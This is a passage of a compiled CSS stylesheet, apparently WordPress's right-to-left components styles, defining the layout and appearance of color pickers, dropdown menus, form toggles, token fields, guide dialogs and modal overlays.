  margin-inline-start:calc(var(--checkbox-input-size) + var(--checkbox-input-margin));
}

.components-circular-option-picker{
  display:inline-block;
  min-width:188px;
  width:100%;
}
.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{
  display:flex;
  justify-content:flex-end;
  margin-top:12px;
}
.components-circular-option-picker .components-circular-option-picker__swatches{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  position:relative;
  z-index:1;
}
.components-circular-option-picker>:not(.components-circular-option-picker__swatches){
  position:relative;
  z-index:0;
}

.components-circular-option-picker__option-wrapper{
  display:inline-block;
  height:28px;
  transform:scale(1);
  vertical-align:top;
  width:28px;
}
@media not (prefers-reduced-motion){
  .components-circular-option-picker__option-wrapper{
    transition:transform .1s ease;
    will-change:transform;
  }
}
.components-circular-option-picker__option-wrapper:hover{
  transform:scale(1.2);
}
.components-circular-option-picker__option-wrapper>div{
  height:100%;
  width:100%;
}

.components-circular-option-picker__option-wrapper:before{
  background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");
  border-radius:50%;
  bottom:1px;
  content:"";
  left:1px;
  position:absolute;
  right:1px;
  top:1px;
  z-index:-1;
}

.components-circular-option-picker__option{
  aspect-ratio:1;
  background:#0000;
  border:none;
  border-radius:50%;
  box-shadow:inset 0 0 0 14px;
  cursor:pointer;
  display:inline-block;
  height:100% !important;
  vertical-align:top;
}
@media not (prefers-reduced-motion){
  .components-circular-option-picker__option{
    transition:box-shadow .1s ease;
  }
}
.components-circular-option-picker__option:hover{
  box-shadow:inset 0 0 0 14px !important;
}
.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{
  box-shadow:inset 0 0 0 4px;
  overflow:visible;
  position:relative;
  z-index:1;
}
.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{
  border-radius:50%;
  pointer-events:none;
  position:absolute;
  right:2px;
  top:2px;
  z-index:2;
}
.components-circular-option-picker__option:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}
.components-circular-option-picker__option:focus:after{
  border:2px solid #757575;
  border-radius:50%;
  box-shadow:inset 0 0 0 2px #fff;
  content:"";
  height:calc(100% + 4px);
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:calc(100% + 4px);
}
.components-circular-option-picker__option.components-button:focus{
  background-color:initial;
  box-shadow:inset 0 0 0 14px;
  outline:none;
}

.components-circular-option-picker__button-action .components-circular-option-picker__option{
  background:#fff;
  color:#fff;
}

.components-circular-option-picker__dropdown-link-action{
  margin-left:16px;
}
.components-circular-option-picker__dropdown-link-action .components-button{
  line-height:22px;
}

.components-palette-edit__popover-gradient-picker{
  padding:8px;
  width:260px;
}

.components-dropdown-menu__menu .components-palette-edit__menu-button{
  width:100%;
}

.component-color-indicator{
  background:#fff linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.components-combobox-control{
  width:100%;
}

input.components-combobox-control__input[type=text]{
  border:none;
  box-shadow:none;
  font-family:inherit;
  font-size:16px;
  line-height:inherit;
  margin:0;
  min-height:auto;
  padding:2px;
  width:100%;
}
@media (min-width:600px){
  input.components-combobox-control__input[type=text]{
    font-size:13px;
  }
}
input.components-combobox-control__input[type=text]:focus{
  box-shadow:none;
  outline:none;
}

.components-combobox-control__suggestions-container{
  align-items:flex-start;
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-combobox-control__suggestions-container{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-combobox-control__suggestions-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-combobox-control__suggestions-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:focus-within{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container .components-spinner{
  margin:0;
}

.components-color-palette__custom-color-wrapper{
  position:relative;
  z-index:0;
}

.components-color-palette__custom-color-button{
  background:none;
  border:none;
  border-radius:4px 4px 0 0;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:border-box;
  cursor:pointer;
  height:64px;
  outline:1px solid #0000;
  position:relative;
  width:100%;
}
.components-color-palette__custom-color-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-width:2px;
}
.components-color-palette__custom-color-button:after{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 24px 24px;
  background-size:48px 48px;
  border-radius:3px 3px 0 0;
  content:"";
  inset:1px;
  position:absolute;
  z-index:-1;
}

.components-color-palette__custom-color-text-wrapper{
  border-radius:0 0 4px 4px;
  box-shadow:inset 0 -1px 0 0 #0003,inset -1px 0 0 0 #0003,inset 1px 0 0 0 #0003;
  font-size:13px;
  padding:12px 16px;
  position:relative;
}

.components-color-palette__custom-color-name{
  color:var(--wp-components-color-foreground, #1e1e1e);
  margin:0 1px;
}

.components-color-palette__custom-color-value{
  color:#757575;
}
.components-color-palette__custom-color-value--is-hex{
  text-transform:uppercase;
}
.components-color-palette__custom-color-value:empty:after{
  content:"​";
  visibility:hidden;
}

.components-custom-gradient-picker__gradient-bar{
  border-radius:2px;
  height:48px;
  position:relative;
  width:100%;
  z-index:1;
}
.components-custom-gradient-picker__gradient-bar.has-gradient{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 12px 12px;
  background-size:24px 24px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{
  inset:0;
  position:absolute;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{
  margin-left:auto;
  margin-right:auto;
  position:relative;
  width:calc(100% - 48px);
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{
  display:flex;
  height:16px;
  position:absolute;
  top:16px;
  width:16px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{
  background:#fff;
  border-radius:50%;
  color:#1e1e1e;
  height:inherit;
  min-width:16px !important;
  padding:2px;
  position:relative;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{
  height:100%;
  width:100%;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 2px 0 #00000040;
  height:inherit;
  outline:2px solid #0000;
  padding:0;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{
  box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff, 0 0 2px 0 #00000040;
  outline:1.5px solid #0000;
}

.components-custom-gradient-picker__remove-control-point-wrapper{
  padding-bottom:8px;
}

.components-custom-gradient-picker__inserter{
  direction:ltr;
}

.components-custom-gradient-picker__liner-gradient-indicator{
  display:inline-block;
  flex:0 auto;
  height:20px;
  width:20px;
}

.components-custom-gradient-picker__ui-line{
  position:relative;
  z-index:0;
}

.block-editor-dimension-control .components-base-control__field{
  align-items:center;
  display:flex;
}
.block-editor-dimension-control .components-base-control__label{
  align-items:center;
  display:flex;
  margin-bottom:0;
  margin-left:1em;
}
.block-editor-dimension-control .components-base-control__label .dashicon{
  margin-left:.5em;
}
.block-editor-dimension-control.is-manual .components-base-control__label{
  width:10em;
}

body.is-dragging-components-draggable{
  cursor:move;
  cursor:grabbing !important;
}

.components-draggable__invisible-drag-image{
  height:50px;
  position:fixed;
  right:-1000px;
  width:50px;
}

.components-draggable__clone{
  background:#0000;
  padding:0;
  pointer-events:none;
  position:fixed;
  z-index:1000000000;
}

.components-drop-zone{
  border-radius:2px;
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  visibility:hidden;
  z-index:40;
}
.components-drop-zone.is-active{
  opacity:1;
  visibility:visible;
}
.components-drop-zone .components-drop-zone__content{
  align-items:center;
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  bottom:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  opacity:0;
  pointer-events:none;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  width:100%;
  z-index:50;
}
.components-drop-zone .components-drop-zone__content-inner{
  opacity:0;
  transform:scale(.9);
}
.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{
  opacity:1;
}
@media not (prefers-reduced-motion){
  .components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content{
    transition:opacity .2s ease-in-out;
  }
}
.components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{
  opacity:1;
  transform:scale(1);
}
@media not (prefers-reduced-motion){
  .components-drop-zone.is-active.is-dragging-over-element .components-drop-zone__content-inner{
    transition:opacity .1s ease-in-out .1s,transform .1s ease-in-out .1s;
  }
}

.components-drop-zone__content-icon,.components-drop-zone__content-text{
  display:block;
}

.components-drop-zone__content-icon{
  line-height:0;
  margin:0 auto 8px;
  fill:currentColor;
  pointer-events:none;
}

.components-drop-zone__content-text{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-dropdown{
  display:inline-block;
}

.components-dropdown__content .components-popover__content{
  padding:8px;
}
.components-dropdown__content .components-popover__content:has(.components-menu-group){
  padding:0;
}
.components-dropdown__content .components-popover__content:has(.components-menu-group) .components-dropdown-menu__menu>.components-menu-item__button,.components-dropdown__content .components-popover__content:has(.components-menu-group)>.components-menu-item__button{
  margin:8px;
  width:auto;
}
.components-dropdown__content [role=menuitem]{
  white-space:nowrap;
}
.components-dropdown__content .components-menu-group{
  padding:8px;
}
.components-dropdown__content .components-menu-group+.components-menu-group{
  border-top:1px solid #ccc;
  padding:8px;
}
.components-dropdown__content.is-alternate .components-menu-group+.components-menu-group{
  border-color:#1e1e1e;
}

.components-dropdown-menu__toggle{
  vertical-align:top;
}

.components-dropdown-menu__menu{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:1.4;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{
  cursor:pointer;
  outline:none;
  padding:6px;
  white-space:nowrap;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{
  margin-top:6px;
  overflow:visible;
  position:relative;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:block;
  height:1px;
  left:0;
  position:absolute;
  right:0;
  top:-3px;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{
  background:#1e1e1e;
  border-radius:1px;
  box-shadow:0 0 0 1px #1e1e1e;
  color:#fff;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{
  width:auto;
}
.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{
  height:auto;
  min-height:40px;
  padding-left:8px;
  padding-right:8px;
  text-align:right;
}

.components-duotone-picker__color-indicator:before{
  background:#0000;
}
.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){
  background:linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  color:#0000;
}
.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{
  color:#0000;
}

.components-color-list-picker,.components-color-list-picker__swatch-button{
  width:100%;
}

.components-color-list-picker__color-picker{
  margin:8px 0;
}

.components-color-list-picker__swatch-color{
  margin:2px;
}

.components-external-link{
  text-decoration:none;
}

.components-external-link__contents{
  text-decoration:underline;
}

.components-external-link__icon{
  font-weight:400;
  margin-right:.5ch;
}
.components-form-toggle,.components-form-toggle .components-form-toggle__track{
  display:inline-block;
  height:16px;
  position:relative;
}
.components-form-toggle .components-form-toggle__track{
  background-color:#fff;
  border:1px solid #949494;
  border-radius:8px;
  box-sizing:border-box;
  content:"";
  overflow:hidden;
  vertical-align:top;
  width:32px;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__track{
    transition:background-color .2s ease,border-color .2s ease;
  }
}
.components-form-toggle .components-form-toggle__track:after{
  border-top:16px solid #0000;
  box-sizing:border-box;
  content:"";
  inset:0;
  opacity:0;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__track:after{
    transition:opacity .2s ease;
  }
}
.components-form-toggle .components-form-toggle__thumb{
  background-color:#1e1e1e;
  border:6px solid #0000;
  border-radius:50%;
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  box-sizing:border-box;
  display:block;
  height:12px;
  position:absolute;
  right:2px;
  top:2px;
  width:12px;
}
@media not (prefers-reduced-motion){
  .components-form-toggle .components-form-toggle__thumb{
    transition:transform .2s ease,background-color .2s ease-out;
  }
}
.components-form-toggle.is-checked .components-form-toggle__track{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-toggle.is-checked .components-form-toggle__track:after{
  opacity:1;
}
.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-form-toggle.is-checked .components-form-toggle__thumb{
  background-color:#fff;
  border-width:0;
  transform:translateX(-16px);
}
.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{
  opacity:.3;
}

.components-form-toggle input.components-form-toggle__input[type=checkbox]{
  border:none;
  height:100%;
  margin:0;
  opacity:0;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:1;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{
  background:none;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{
  content:"";
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:not(:disabled,[aria-disabled=true]){
  cursor:pointer;
}

.components-form-token-field__input-container{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  cursor:text;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__input-container{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .components-form-token-field__input-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-form-token-field__input-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container::-moz-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container.is-disabled{
  background:#ddd;
  border-color:#ddd;
}
.components-form-token-field__input-container.is-active{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container input[type=text].components-form-token-field__input{
  background:inherit;
  border:0;
  box-shadow:none;
  color:#1e1e1e;
  display:inline-block;
  flex:1;
  font-family:inherit;
  font-size:16px;
  margin-right:4px;
  max-width:100%;
  min-height:24px;
  min-width:50px;
  padding:0;
  width:100%;
}
@media (min-width:600px){
  .components-form-token-field__input-container input[type=text].components-form-token-field__input{
    font-size:13px;
  }
}
.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{
  box-shadow:none;
  outline:none;
}
.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{
  width:auto;
}

.components-form-token-field__token{
  color:#1e1e1e;
  display:flex;
  font-size:13px;
  max-width:100%;
}
.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{
  background:#4ab866;
}
.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{
  background:#cc1818;
}
.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{
  color:#757575;
}
.components-form-token-field__token.is-borderless{
  padding:0 0 0 24px;
  position:relative;
}
.components-form-token-field__token.is-borderless .components-form-token-field__token-text{
  background:#0000;
}
.components-form-token-field__token.is-borderless:not(.is-disabled) .components-form-token-field__token-text{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{
  background:#0000;
  color:#757575;
  left:0;
  position:absolute;
  top:1px;
}
.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{
  color:#4ab866;
}
.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{
  color:#cc1818;
  padding:0 6px 0 4px;
}
.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{
  color:#1e1e1e;
}

.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
  background:#ddd;
  display:inline-block;
  height:auto;
  min-width:unset;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
    transition:all .2s cubic-bezier(.4, 1, .4, 1);
  }
}

.components-form-token-field__token-text{
  border-radius:0 1px 1px 0;
  line-height:24px;
  overflow:hidden;
  padding:0 8px 0 0;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-form-token-field__remove-token.components-button{
  border-radius:1px 0 0 1px;
  color:#1e1e1e;
  line-height:10px;
  overflow:initial;
}
.components-form-token-field__remove-token.components-button:hover:not(:disabled){
  color:#1e1e1e;
}

.components-form-token-field__suggestions-list{
  box-shadow:inset 0 1px 0 0 #949494;
  flex:1 0 100%;
  list-style:none;
  margin:0;
  max-height:128px;
  min-width:100%;
  overflow-y:auto;
  padding:0;
}
@media not (prefers-reduced-motion){
  .components-form-token-field__suggestions-list{
    transition:all .15s ease-in-out;
  }
}

.components-form-token-field__suggestion{
  box-sizing:border-box;
  color:#1e1e1e;
  display:block;
  font-size:13px;
  margin:0;
  min-height:32px;
  padding:8px 12px;
}
.components-form-token-field__suggestion.is-selected{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}
.components-form-token-field__suggestion[aria-disabled=true]{
  color:#949494;
  pointer-events:none;
}
.components-form-token-field__suggestion[aria-disabled=true].is-selected{
  background-color:rgba(var(--wp-components-color-accent--rgb, var(--wp-admin-theme-color--rgb)), .04);
}
.components-form-token-field__suggestion:not(.is-empty){
  cursor:pointer;
}

@media (min-width:600px){
  .components-guide{
    width:600px;
  }
}
.components-guide .components-modal__content{
  margin-top:0;
  padding:0;
}
.components-guide .components-modal__content:before{
  content:none;
}
.components-guide .components-modal__header{
  border-bottom:none;
  height:60px;
  padding:0;
  position:sticky;
}
.components-guide .components-modal__header .components-button{
  align-self:flex-start;
  margin:8px 0 0 8px;
  position:static;
}
.components-guide .components-modal__header .components-button:hover svg{
  fill:#fff;
}
.components-guide .components-guide__container{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  margin-top:-60px;
  min-height:100%;
}
.components-guide .components-guide__page{
  display:flex;
  flex-direction:column;
  justify-content:center;
  position:relative;
}
@media (min-width:600px){
  .components-guide .components-guide__page{
    min-height:300px;
  }
}
.components-guide .components-guide__footer{
  align-content:center;
  display:flex;
  height:36px;
  justify-content:center;
  margin:0 0 24px;
  padding:0 32px;
  position:relative;
  width:100%;
}
.components-guide .components-guide__page-control{
  margin:0;
  text-align:center;
}
.components-guide .components-guide__page-control li{
  display:inline-block;
  margin:0;
}
.components-guide .components-guide__page-control .components-button{
  color:#e0e0e0;
  margin:-6px 0;
}
.components-guide .components-guide__page-control li[aria-current=step] .components-button{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-modal__frame.components-guide{
  border:none;
  max-height:575px;
  min-width:312px;
}
@media (max-width:600px){
  .components-modal__frame.components-guide{
    margin:auto;
    max-width:calc(100vw - 32px);
  }
}

.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  position:absolute;
}
.components-button.components-guide__back-button{
  right:32px;
}
.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  left:32px;
}

[role=region]{
  position:relative;
}

.is-focusing-regions [role=region]:focus:after,[role=region].interface-interface-skeleton__content:focus-visible:after{
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1000000;
}
.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .editor-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header,[role=region].interface-interface-skeleton__content:focus-visible:after{
  outline-color:var(--wp-admin-theme-color);
  outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);
  outline-style:solid;
  outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);
}

.components-menu-group+.components-menu-group{
  border-top:1px solid #1e1e1e;
  padding-top:8px;
}
.components-menu-group+.components-menu-group.has-hidden-separator{
  border-top:none;
  margin-top:0;
  padding-top:0;
}

.components-menu-group:has(>div:empty){
  display:none;
}

.components-menu-group__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  margin-top:4px;
  padding:0 8px;
  text-transform:uppercase;
  white-space:nowrap;
}

.components-menu-item__button,.components-menu-item__button.components-button{
  width:100%;
}
.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{
  box-sizing:initial;
  padding-left:48px;
}
.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{
  display:inline-block;
  flex:0 0 auto;
}
.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{
  margin-left:-2px;
  margin-right:24px;
}
.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{
  margin-right:8px;
}
.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{
  margin-left:8px;
  margin-right:-2px;
}
.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{
  justify-content:center;
}
.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{
  margin-left:0;
}
.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{
  background:none;
  color:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  opacity:.3;
}

.components-menu-item__info-wrapper{
  display:flex;
  flex-direction:column;
  margin-left:auto;
}

.components-menu-item__info{
  color:#757575;
  font-size:12px;
  margin-top:4px;
  white-space:normal;
}

.components-menu-item__item{
  align-items:center;
  display:inline-flex;
  margin-left:auto;
  min-width:160px;
  white-space:nowrap;
}

.components-menu-item__shortcut{
  align-self:center;
  color:currentColor;
  display:none;
  margin-left:0;
  margin-right:auto;
  padding-right:24px;
}
@media (min-width:480px){
  .components-menu-item__shortcut{
    display:inline;
  }
}

.components-menu-items-choice,.components-menu-items-choice.components-button{
  height:auto;
  min-height:40px;
}
.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{
  margin-left:12px;
}
.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{
  padding-right:12px;
}

.components-modal__screen-overlay{
  background-color:#00000059;
  bottom:0;
  display:flex;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:100000;
}
@keyframes __wp-base-styles-fade-in{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .components-modal__screen-overlay{
    animation:__wp-base-styles-fade-in .08s linear 0s;
    animation-fill-mode:forwards;
  }
}
@keyframes __wp-base-styles-fade-out{
  0%{
    opacity:1;
  }
  to{
    opacity:0;
  }
}
@media not (prefers-reduced-motion){
  .components-modal__screen-overlay.is-animating-out{
    animation:__wp-base-styles-fade-out .08s linear 80ms;
    animation-fill-mode:forwards;
  }
}

.components-modal__frame{
  animation-fill-mode:forwards;
  animation-name:components-modal__appear-animation;
  animation-timing-function:cubic-bezier(.29, 0, 0, 1);
  background:#fff;
